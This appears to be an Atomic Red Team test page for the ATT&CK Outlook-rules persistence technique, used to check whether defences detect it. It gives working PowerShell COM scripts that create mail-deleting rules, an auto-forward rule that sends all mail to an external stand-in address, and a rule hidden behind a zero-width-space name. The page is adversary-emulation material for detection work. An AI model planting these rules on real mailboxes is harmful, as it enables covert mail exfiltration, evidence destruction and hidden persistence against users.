logo
SlackReddit

T1137.005

Office Application Startup: Outlook Rules

Description from ATT&CK

Adversaries may abuse Microsoft Outlook rules to obtain persistence on a compromised system. Outlook rules allow a user to define automated behavior to manage email messages. A benign rule might, for example, automatically move an email to a particular folder in Outlook if it contains specific words from a specific sender. Malicious Outlook rules can be created that can trigger code execution when an adversary sends a specifically crafted email to that user.(Citation: SilentBreak Outlook Rules)

Once malicious rules have been added to the user’s mailbox, they will be loaded when Outlook is started. Malicious rules will execute when an adversary sends a specifically crafted email to the user.(Citation: SilentBreak Outlook Rules)

Source

Atomic Tests

Atomic Test #1: Outlook Rule - Subject Trigger with DeletePermanently Action via COM Object

Creates a malicious Outlook rule via the COM object that permanently deletes emails when an email with a specific subject keyword arrives. Simulates adversary persistence via Outlook Rules (T1137.005). Uses DeletePermanently action as it does not require a resolved Exchange folder unlike MoveToFolder. NOTE: olRuleActionStartApplication cannot be created programmatically per Microsoft's Rules object model - DeletePermanently is used as the supported equivalent that generates the same rule-creation artefact. NOTE: This test MUST be run from a non-elevated (standard user) PowerShell session. Outlook COM fails with 0x80080005 when invoked as Administrator.

Supported Platforms: Windows

auto_generated_guid: ffadc988-b682-4a68-bd7e-4803666be637

Inputs

NameDescriptionTypeDefault Value
rule_nameName for the malicious Outlook rulestringAtomicTest_T1137005_SubjectTrigger
trigger_subjectEmail subject keyword that triggers the rulestringatomic-rt-trigger

Attack Commands: Run with powershell!

$isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]"Administrator")
if ($isAdmin) {
    Write-Host "[-] This test must be run from a non-elevated PowerShell session."
    Write-Host "    Outlook COM fails with 0x80080005 when run as Administrator."
    exit 1
}

$outlook   = New-Object -ComObject Outlook.Application
$namespace = $outlook.GetNamespace("MAPI")
$rules     = $namespace.DefaultStore.GetRules()
$rule      = $rules.Create("#{rule_name}", 0)

$cond = $rule.Conditions.Subject
$cond.Enabled = $true
$cond.Text    = @("#{trigger_subject}")

$action         = $rule.Actions.DeletePermanently
$action.Enabled = $true

$rule.Enabled = $true
$rules.Save()
Write-Host "[+] Rule '#{rule_name}' created. Emails with subject '#{trigger_subject}' will be permanently deleted."

Cleanup Commands

$isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]"Administrator")
if ($isAdmin) {
    Write-Host "[-] Cleanup must be run from a non-elevated PowerShell session. Skipping."
    exit 1
}
$outlook   = New-Object -ComObject Outlook.Application
$namespace = $outlook.GetNamespace("MAPI")
$rules     = $namespace.DefaultStore.GetRules()
$removed   = $false
for ($i = $rules.Count; $i -ge 1; $i--) {
    if ($rules.Item($i).Name -eq "#{rule_name}") {
        $rules.Remove($rules.Item($i).Name)
        $removed = $true
    }
}
if ($removed) {
    $rules.Save()
    Write-Host "[+] All instances of rule '#{rule_name}' removed."
} else {
    Write-Host "[*] Rule '#{rule_name}' not found - already removed."
}

Dependencies: Run with powershell!

Description: Classic Outlook must be installed (required for COM automation)
Check Prereq Commands
$clsid = (Get-ItemProperty "REGISTRY::HKEY_CLASSES_ROOT\Outlook.Application\CLSID" -ErrorAction SilentlyContinue).'(Default)'
if ($clsid) { exit 0 } else { exit 1 }
Get Prereq Commands
Write-Host "[-] Classic Outlook is not installed or COM is not registered."
Write-Host "    Install Microsoft 365 Apps with Classic Outlook before running this test."
Write-Host "    Note: The new Outlook for Windows does NOT support COM automation."
exit 1

Atomic Test #2: Outlook Rule - Sender Address Trigger with DeletePermanently Action via COM Object

Creates an Outlook rule via COM that permanently deletes emails received from a specific sender address. Adversaries use sender-based triggers to make rules appear more legitimate (e.g. disguised as a filter for a specific colleague). Tests a different rule condition path through the COM object model. Uses DeletePermanently as it does not require a resolved Exchange folder unlike MoveToFolder. NOTE: This test MUST be run from a non-elevated (standard user) PowerShell session. Outlook COM fails with 0x80080005 when invoked as Administrator.

Supported Platforms: Windows

auto_generated_guid: bddfd8d4-7687-4971-b611-50a537ab3ab4

Inputs

NameDescriptionTypeDefault Value
rule_nameName for the malicious Outlook rulestringAtomicTest_T1137005_SenderTrigger
trigger_senderSender email address that triggers the rulestringatomictest@redteam.local

Attack Commands: Run with powershell!

$isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]"Administrator")
if ($isAdmin) {
    Write-Host "[-] This test must be run from a non-elevated PowerShell session."
    Write-Host "    Outlook COM fails with 0x80080005 when run as Administrator."
    exit 1
}

$outlook   = New-Object -ComObject Outlook.Application
$namespace = $outlook.GetNamespace("MAPI")
$rules     = $namespace.DefaultStore.GetRules()
$rule      = $rules.Create("#{rule_name}", 0)

$cond = $rule.Conditions.From
$cond.Enabled = $true
$cond.Recipients.Add("#{trigger_sender}")
$cond.Recipients.ResolveAll() | Out-Null

$action         = $rule.Actions.DeletePermanently
$action.Enabled = $true

$rule.Enabled = $true
$rules.Save()
Write-Host "[+] Sender-based rule '#{rule_name}' created. Emails from '#{trigger_sender}' will be permanently deleted."

Cleanup Commands

$isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]"Administrator")
if ($isAdmin) {
    Write-Host "[-] Cleanup must be run from a non-elevated PowerShell session. Skipping."
    exit 1
}
$outlook   = New-Object -ComObject Outlook.Application
$namespace = $outlook.GetNamespace("MAPI")
$rules     = $namespace.DefaultStore.GetRules()
$removed   = $false
for ($i = $rules.Count; $i -ge 1; $i--) {
    if ($rules.Item($i).Name -eq "#{rule_name}") {
        $rules.Remove($rules.Item($i).Name)
        $removed = $true
    }
}
if ($removed) {
    $rules.Save()
    Write-Host "[+] All instances of rule '#{rule_name}' removed."
} else {
    Write-Host "[*] Rule '#{rule_name}' not found - already removed."
}

Dependencies: Run with powershell!

Description: Classic Outlook must be installed (required for COM automation)
Check Prereq Commands
$clsid = (Get-ItemProperty "REGISTRY::HKEY_CLASSES_ROOT\Outlook.Application\CLSID" -ErrorAction SilentlyContinue).'(Default)'
if ($clsid) { exit 0 } else { exit 1 }
Get Prereq Commands
Write-Host "[-] Classic Outlook is not installed or COM is not registered."
Write-Host "    Install Microsoft 365 Apps with Classic Outlook before running this test."
Write-Host "    Note: The new Outlook for Windows does NOT support COM automation."
exit 1

Atomic Test #3: Outlook Rule - Auto-Forward Emails to External Address via COM Object

Creates an Outlook rule that automatically forwards all received emails to an external address. Simulates Business Email Compromise (BEC) and insider threat scenarios where adversaries establish forwarding rules to exfiltrate mail. One of the most commonly observed real-world abuses of Outlook rules. Detected by Exchange mail flow anomalies and Microsoft Secure Score forwarding alerts. NOTE: No actual email is forwarded during this test - the rule is created but a trigger email is not sent. Run cleanup immediately after verification. NOTE: This test MUST be run from a non-elevated (standard user) PowerShell session. Outlook COM fails with 0x80080005 when invoked as Administrator.

Supported Platforms: Windows

auto_generated_guid: b0bd3d76-a57c-4699-83f4-8cd798dd09bd

Inputs

NameDescriptionTypeDefault Value
rule_nameName for the forwarding rulestringAtomicTest_T1137005_ForwardExfil
forward_to_addressEmail address to forward mail to (use a controlled test address)stringatomictest-exfil@redteam.local

Attack Commands: Run with powershell!

$isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]"Administrator")
if ($isAdmin) {
    Write-Host "[-] This test must be run from a non-elevated PowerShell session."
    Write-Host "    Outlook COM fails with 0x80080005 when run as Administrator."
    exit 1
}

$outlook   = New-Object -ComObject Outlook.Application
$namespace = $outlook.GetNamespace("MAPI")
$rules     = $namespace.DefaultStore.GetRules()
$rule      = $rules.Create("#{rule_name}", 0)

$action = $rule.Actions.Forward
$action.Enabled = $true
$action.Recipients.Add("#{forward_to_address}")
$action.Recipients.ResolveAll() | Out-Null

$rule.Enabled = $true
$rules.Save()
Write-Host "[+] Auto-forward rule '#{rule_name}' created -> #{forward_to_address}"
Write-Host "[!] Run cleanup immediately after verifying rule creation in Outlook."

Cleanup Commands

$isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]"Administrator")
if ($isAdmin) {
    Write-Host "[-] Cleanup must be run from a non-elevated PowerShell session. Skipping."
    exit 1
}
$outlook   = New-Object -ComObject Outlook.Application
$namespace = $outlook.GetNamespace("MAPI")
$rules     = $namespace.DefaultStore.GetRules()
$removed   = $false
for ($i = $rules.Count; $i -ge 1; $i--) {
    if ($rules.Item($i).Name -eq "#{rule_name}") {
        $rules.Remove($rules.Item($i).Name)
        $removed = $true
    }
}
if ($removed) {
    $rules.Save()
    Write-Host "[+] All instances of forwarding rule '#{rule_name}' removed."
} else {
    Write-Host "[*] Rule '#{rule_name}' not found - already removed."
}

Dependencies: Run with powershell!

Description: Classic Outlook must be installed (required for COM automation)
Check Prereq Commands
$clsid = (Get-ItemProperty "REGISTRY::HKEY_CLASSES_ROOT\Outlook.Application\CLSID" -ErrorAction SilentlyContinue).'(Default)'
if ($clsid) { exit 0 } else { exit 1 }
Get Prereq Commands
Write-Host "[-] Classic Outlook is not installed or COM is not registered."
Write-Host "    Install Microsoft 365 Apps with Classic Outlook before running this test."
Write-Host "    Note: The new Outlook for Windows does NOT support COM automation."
exit 1

Atomic Test #4: Outlook Rules - Enumerate Existing Rules via PowerShell COM Object

Enumerates all Outlook rules configured on the local profile using the PowerShell COM object. Simulates the discovery phase where an adversary audits existing rules before implanting their own, or where a threat actor tool such as Ruler lists rules to understand the environment. This enumeration should itself generate telemetry - use it to validate that your monitoring catches PowerShell spawning Outlook COM for recon purposes. NOTE: This test MUST be run from a non-elevated (standard user) PowerShell session. Outlook COM fails with 0x80080005 when invoked as Administrator.

Supported Platforms: Windows

auto_generated_guid: 5ff5249a-5807-480e-ab52-c430497a8a25

Attack Commands: Run with powershell!

$isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]"Administrator")
if ($isAdmin) {
    Write-Host "[-] This test must be run from a non-elevated PowerShell session."
    Write-Host "    Outlook COM fails with 0x80080005 when run as Administrator."
    exit 1
}

$outlook = New-Object -ComObject Outlook.Application
$rules   = $outlook.GetNamespace("MAPI").DefaultStore.GetRules()

Write-Host "`n[*] Enumerating Outlook rules on local profile..."
Write-Host "    Total rules found: $($rules.Count)`n"

for ($i = 1; $i -le $rules.Count; $i++) {
    $r = $rules.Item($i)
    Write-Host "  Rule $i : Name='$($r.Name)' | Enabled=$($r.Enabled)"
}

if ($rules.Count -eq 0) {
    Write-Host "  (No rules configured)"
}

Cleanup Commands

Write-Host "[*] No cleanup required for enumeration test."

Dependencies: Run with powershell!

Description: Classic Outlook must be installed (required for COM automation)
Check Prereq Commands
$clsid = (Get-ItemProperty "REGISTRY::HKEY_CLASSES_ROOT\Outlook.Application\CLSID" -ErrorAction SilentlyContinue).'(Default)'
if ($clsid) { exit 0 } else { exit 1 }
Get Prereq Commands
Write-Host "[-] Classic Outlook is not installed or COM is not registered."
Write-Host "    Install Microsoft 365 Apps with Classic Outlook before running this test."
Write-Host "    Note: The new Outlook for Windows does NOT support COM automation."
exit 1

Atomic Test #5: Outlook Rule - Create Rule with Obfuscated Blank Name (MAPI Evasion)

Creates an Outlook rule with a zero-width space as its display name, making it appear blank and invisible in the standard Outlook Rules UI. Simulates the hidden inbox rule technique documented by Damian Pfammatter (2018) and referenced in MITRE ATT&CK T1137.005 - adversaries use MAPI editors or Ruler to blank PR_RULE_MSG_NAME so the rule does not appear during casual rule auditing. Tests whether monitoring catches rules that are invisible in the Outlook GUI but detectable via MFCMapi or Get-InboxRule on Exchange. Uses PlaySound action as RunApplication cannot be created programmatically per Microsoft's Rules object model. NOTE: This test MUST be run from a non-elevated (standard user) PowerShell session. Outlook COM fails with 0x80080005 when invoked as Administrator. NOTE: Script is written to a temp file before execution to prevent the ART executor's quote-wrapping from mangling the zero-width space bytes.

Supported Platforms: Windows

auto_generated_guid: cb814cf8-24f2-41dc-a1cd-1c2073276d4a

Inputs

NameDescriptionTypeDefault Value
trigger_subjectSubject keyword to trigger the hidden rulestringatomic-rt-hidden
sound_file_pathPath to .wav file used as the rule action payload indicatorstringC:\Windows\Media\notify.wav

Attack Commands: Run with powershell!

$isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]"Administrator")
if ($isAdmin) {
    Write-Host "[-] This test must be run from a non-elevated PowerShell session."
    Write-Host "    Outlook COM fails with 0x80080005 when run as Administrator."
    exit 1
}
$tmpScript = "$env:TEMP\T1137005_hidden_rule_create.ps1"
$lines = @(
    '$hiddenName = [System.Text.Encoding]::Unicode.GetString([byte[]](0x0B, 0x20))',
    '$outlook   = New-Object -ComObject Outlook.Application',
    '$namespace = $outlook.GetNamespace("MAPI")',
    '$rules     = $namespace.DefaultStore.GetRules()',
    '$rule      = $rules.Create($hiddenName, 0)',
    '$cond = $rule.Conditions.Subject',
    '$cond.Enabled = $true',
    '$cond.Text    = @("#{trigger_subject}")',
    '$action          = $rule.Actions.PlaySound',
    '$action.Enabled  = $true',
    '$action.FilePath = "#{sound_file_path}"',
    '$rule.Enabled = $true',
    '$rules.Save()',
    'Write-Host "[+] Hidden rule created with zero-width space name."',
    'Write-Host "[*] Open Outlook via File -> Manage Rules and Alerts - rule name will appear blank."',
    'Write-Host "[*] Verify rule exists via PowerShell COM enumeration (Test 4) or Get-InboxRule in Exchange."'
)
$lines -join "`n" | Set-Content -Path $tmpScript -Encoding UTF8
powershell.exe -NoProfile -ExecutionPolicy Bypass -File $tmpScript
Remove-Item $tmpScript -ErrorAction SilentlyContinue

Cleanup Commands

$isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]"Administrator")
if ($isAdmin) {
    Write-Host "[-] Cleanup must be run from a non-elevated PowerShell session. Skipping."
    exit 1
}
$tmpScript = "$env:TEMP\T1137005_hidden_rule_cleanup.ps1"
$lines = @(
    '$hiddenName = [System.Text.Encoding]::Unicode.GetString([byte[]](0x0B, 0x20))',
    '$outlook    = New-Object -ComObject Outlook.Application',
    '$namespace  = $outlook.GetNamespace("MAPI")',
    '$rules      = $namespace.DefaultStore.GetRules()',
    '$removed    = $false',
    'for ($i = $rules.Count; $i -ge 1; $i--) {',
    '    if ($rules.Item($i).Name -eq $hiddenName) {',
    '        $rules.Remove($rules.Item($i).Name)',
    '        $removed = $true',
    '    }',
    '}',
    'if ($removed) {',
    '    $rules.Save()',
    '    Write-Host "[+] Hidden rule(s) removed."',
    '} else {',
    '    Write-Host "[-] Hidden rule not found - may have already been removed."',
    '}'
)
$lines -join "`n" | Set-Content -Path $tmpScript -Encoding UTF8
powershell.exe -NoProfile -ExecutionPolicy Bypass -File $tmpScript
Remove-Item $tmpScript -ErrorAction SilentlyContinue

Dependencies: Run with powershell!

Description: Classic Outlook must be installed (required for COM automation)
Check Prereq Commands
$clsid = (Get-ItemProperty "REGISTRY::HKEY_CLASSES_ROOT\Outlook.Application\CLSID" -ErrorAction SilentlyContinue).'(Default)'
if ($clsid) { exit 0 } else { exit 1 }
Get Prereq Commands
Write-Host "[-] Classic Outlook is not installed or COM is not registered."
Write-Host "    Install Microsoft 365 Apps with Classic Outlook before running this test."
Write-Host "    Note: The new Outlook for Windows does NOT support COM automation."
exit 1
Description: Sound file must exist for PlaySound action
Check Prereq Commands
if (Test-Path "#{sound_file_path}") { exit 0 } else { exit 1 }
Get Prereq Commands
Write-Host "[-] Sound file not found at #{sound_file_path}"
Write-Host "    Specify a valid .wav file path in the sound_file_path input argument."
exit 1

Atomic test(s) for this technique last updated: 2026-04-20 09:48:50 UTC

On this page